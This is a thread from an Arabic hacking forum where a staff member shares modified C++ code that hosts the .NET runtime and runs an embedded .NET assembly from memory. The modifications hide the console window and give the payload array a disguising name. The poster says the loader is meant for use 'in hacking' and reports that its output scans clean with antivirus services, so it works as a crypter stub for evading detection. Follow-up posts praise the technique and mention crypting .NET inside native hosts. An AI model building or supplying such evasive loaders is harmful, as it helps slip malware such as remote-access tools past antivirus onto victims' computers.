01.02.2018 C++ - Hosting CLR and Executing .NET Assembly in Memory By Etor Madiv


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

الحالة
مغلق و غير مفتوح للمزيد من الردود.

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
حياكم الله ياشباب
الاخ Etor Madiv نزل موضوعه بقسم السي++ "من سنة" هذا
C++ - Hosting CLR and Executing .NET Assembly in Memory
فقلت انه لازم يكون منه نسخة بقسم الحماية للي ماشافه
رح نقدر نعمل لود بالذاكرة لأسمبلي الدوت نت "فريم وورك 2.0"
شوف موضوع الاخ واقرا ب غوغل عشان تفهم الـ CLR
شوف الفديو الخاص بالاخ بالموضوع عشان تعرف وش لازم تعمل
انا صورت فديو لشكل السورس الجديد بس قلت ان نزلت فديو
رح تروح حقوق الاخ ايتور الزلمة منزل فديو ومشروح فيه كل شي لهيك
شوفو الفديو بموضوعه وحملو السورس منه
انا فقط اخفيت الكونسول وشروط if وعمل printf لبعض الاسطر بنجاح او فشل العملية
وايضا بعض الامور البسطة يعني ماعملت شي ابدا
فقط عشان تستخدموه بالهاك وهالشي ممكن اي واحد يسويه
وللتاكيد هنا قبل
C++:
#include "stdafx.h"
 
#define RAW_ASSEMBLY_LENGTH 8192
 
unsigned char rawData[8192] = {
    //...
};
 
 
int _tmain(int argc, _TCHAR* argv[])
{
    ICLRMetaHost* pMetaHost = NULL;
 
    HRESULT hr;
 
    /* Get ICLRMetaHost instance */
 
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
 
    if(FAILED(hr))
    {
        printf("[!] CLRCreateInstance(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] CLRCreateInstance(...) succeeded\n");
 
    ICLRRuntimeInfo* pRuntimeInfo = NULL;
 
    /* Get ICLRRuntimeInfo instance */
 
    hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
 
    if(FAILED(hr))
    {
        printf("[!] pMetaHost->GetRuntime(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pMetaHost->GetRuntime(...) succeeded\n");
 
    BOOL bLoadable;
 
    /* Check if the specified runtime can be loaded */
 
    hr = pRuntimeInfo->IsLoadable(&bLoadable);
 
    if(FAILED(hr) || !bLoadable)
    {
        printf("[!] pRuntimeInfo->IsLoadable(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pRuntimeInfo->IsLoadable(...) succeeded\n");
 
    ICorRuntimeHost* pRuntimeHost = NULL;
 
    /* Get ICorRuntimeHost instance */
 
    hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
 
    if(FAILED(hr))
    {
        printf("[!] pRuntimeInfo->GetInterface(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pRuntimeInfo->GetInterface(...) succeeded\n");
 
    /* Start the CLR */
 
    hr = pRuntimeHost->Start();
 
    if(FAILED(hr))
    {
        printf("[!] pRuntimeHost->Start() failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pRuntimeHost->Start() succeeded\n");
 
    IUnknownPtr pAppDomainThunk = NULL;
 
    hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);
 
    if(FAILED(hr))
    {
        printf("[!] pRuntimeHost->GetDefaultDomain(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pRuntimeHost->GetDefaultDomain(...) succeeded\n");
 
    _AppDomainPtr pDefaultAppDomain = NULL;
 
    /* Equivalent of System.AppDomain.CurrentDomain in C# */
 
    hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**) &pDefaultAppDomain);
 
    if(FAILED(hr))
    {
        printf("[!] pAppDomainThunk->QueryInterface(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pAppDomainThunk->QueryInterface(...) succeeded\n");
 
    _AssemblyPtr pAssembly = NULL;
 
    SAFEARRAYBOUND rgsabound[1];
 
    rgsabound[0].cElements = RAW_ASSEMBLY_LENGTH;
 
    rgsabound[0].lLbound   = 0;
 
    SAFEARRAY* pSafeArray  = SafeArrayCreate(VT_UI1, 1, rgsabound);
 
    void* pvData = NULL;
 
    hr = SafeArrayAccessData(pSafeArray, &pvData);
 
    if(FAILED(hr))
    {
        printf("[!] SafeArrayAccessData(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] SafeArrayAccessData(...) succeeded\n");
 
    memcpy(pvData, rawData, RAW_ASSEMBLY_LENGTH);
 
    hr = SafeArrayUnaccessData(pSafeArray);
 
    if(FAILED(hr))
    {
        printf("[!] SafeArrayUnaccessData(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] SafeArrayUnaccessData(...) succeeded\n");
 
    /* Equivalent of System.AppDomain.CurrentDomain.Load(byte[] rawAssembly) */
 
    hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
 
    if(FAILED(hr))
    {
        printf("[!] pDefaultAppDomain->Load_3(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pDefaultAppDomain->Load_3(...) succeeded\n");
 
    _MethodInfoPtr pMethodInfo = NULL;
 
    /* Assembly.EntryPoint Property */
 
    hr = pAssembly->get_EntryPoint(&pMethodInfo);
 
    if(FAILED(hr))
    {
        printf("[!] pAssembly->get_EntryPoint(...) failed\n");
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pAssembly->get_EntryPoint(...) succeeded\n");
 
    VARIANT retVal;
    ZeroMemory(&retVal, sizeof(VARIANT));
 
    VARIANT obj;
    ZeroMemory(&obj, sizeof(VARIANT));
    obj.vt = VT_NULL;
 
    //TODO! Change cElement to the number of Main arguments
    SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
 
    /* EntryPoint.Invoke(null, new object[0]) */
 
    hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
 
    if(FAILED(hr))
    {
        printf("[!] pMethodInfo->Invoke_3(...) failed, hr = %X\n", hr);
 
        getchar();
 
        return -1;
    }
 
    printf("[+] pMethodInfo->Invoke_3(...) succeeded\n");
 
    getchar();
 
    return 0;
}
وهنا بعد

C++:
#include "stdafx.h"
unsigned char microsoft_windows[5120] = {
    0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00};
int main()
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    ICLRMetaHost* p_meta_host = nullptr;
    auto hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<VOID**>(&p_meta_host));
    ICLRRuntimeInfo* p_runtime_info = nullptr;
    hr = p_meta_host->GetRuntime(L"v2.0.50727", IID_ICLRRuntimeInfo, reinterpret_cast<VOID**>(&p_runtime_info));
    BOOL b_loadable;
    hr = p_runtime_info->IsLoadable(&b_loadable);
    ICorRuntimeHost* p_runtime_host = nullptr;
    hr = p_runtime_info->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<VOID**>(&p_runtime_host));
    hr = p_runtime_host->Start();
    IUnknownPtr p_app_domain_thunk = NULL;
    hr = p_runtime_host->GetDefaultDomain(&p_app_domain_thunk);
    _AppDomainPtr p_default_app_domain = NULL;
    hr = p_app_domain_thunk->QueryInterface(__uuidof(_AppDomain), reinterpret_cast<VOID**>(&p_default_app_domain));
    _AssemblyPtr p_assembly = NULL;
    SAFEARRAYBOUND rgsabound[1];
    rgsabound[0].cElements = 5120;
    rgsabound[0].lLbound   = 0;
    const auto p_safe_array  = SafeArrayCreate(VT_UI1, 1, rgsabound);
    void* pv_data = nullptr;
    hr = SafeArrayAccessData(p_safe_array, &pv_data);
    memcpy(pv_data, microsoft_windows, 5120);
    hr = SafeArrayUnaccessData(p_safe_array);
    hr = p_default_app_domain->Load_3(p_safe_array, &p_assembly);
    _MethodInfoPtr p_method_info = NULL;
    hr = p_assembly->get_EntryPoint(&p_method_info);
    VARIANT ret_val;
    ZeroMemory(&ret_val, sizeof(VARIANT));
    VARIANT obj;
    ZeroMemory(&obj, sizeof(VARIANT));
    obj.vt = VT_NULL;
    const auto psa_static_method_args = SafeArrayCreateVector(VT_VARIANT, 0, 0);
    hr = p_method_info->Invoke_3(obj, psa_static_method_args, &ret_val);
    getchar();
    return 0;
بس حبيت اذكر هالشي عشان ماتروح حقوق الاخ ايتور
ماشاء الله عليه الانسان هذا بيبكي ههه ..
طبعا فيه مشاريع بالنت كثير صار للامر هذا
بس اكتب ب غوغل
C++ app hosts CLR and invokes .NET assembly
الناتج بيكون كلين .."حسب البايت اراي اللي بالمشروع"
Results | Metadefender.com
ملاحظة : حمل المشروع من موضوع الاخ ايتور ..
فقط استبدل الكود اللي حطيته بالموضوع بعد ماعدلت عليه بـHostingCLR.cpp
ولازم يكون عندك فيجوال ستديو 2010 او ان عند 2017 اعمل Retarget وخل الـبلاتفورم تولز على v100 > مانجح معي مع انني حملت المطلوب
لهيك حمل الفيجوال ستديو 2010 واعمل كمبايل بعد استبدال الكود فقط ووضع البايت اراي خاصتك "اسمبلي الدوت نت"
بعد جلبها من محرر الهكس HxD كما في فديو الاخ ايتور
وضع لينجث الملف الخاص بك هنا مكان 5120 > غيرت شوي شلت عمل define للينجث بمتغير
C++:
#define RAW_ASSEMBLY_LENGTH 5120
ووضعته مباشرة :: مش شي اعرف والله بس عشان مايضيعو بعض الاعضاء قلت بخبرهم ::

C++:
rgsabound[0].cElements = 5120;


 
  • أعجبني
التفاعلات: Eagle_Master، ViRusRat و Casp3r

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
up
من اجمل الطرق اللي تعلمتها ..الاخ ايتور مبدع بالفعل ..منيح انه ترك هالمجال لان مكانه فوق فوق ههه ..
والله وحش ايتور للي مايعرفه
نزلت بعده سلسلة من المواضيع لتشفير الدوت نت داخل الحاضن الناتيف ..شي حلو والله ..
 
  • أعجبني
  • أحببته
التفاعلات: ViRusRat و Casp3r

1+1

:: عضو جديد ::
24 أبريل 2019
5
0
0
ฉันจะแก้ไขได้อย่างไร

ฉันจะต้องแก้ไขได้อย่างไร

1731




1732
 

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
https://www.upload.ee/files/9866637/ConsoleApplication3.rar.html

รับไฟล์ของฉันเพื่อแก้ไข
ส่งมาให้ฉัน
[email protected]
ขอบคุณมาก
يعطيك العافيه ممكن رابط موضوع الاخ ايتور بشوفه ولي رجعه علي الموضوع شكراً لك
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك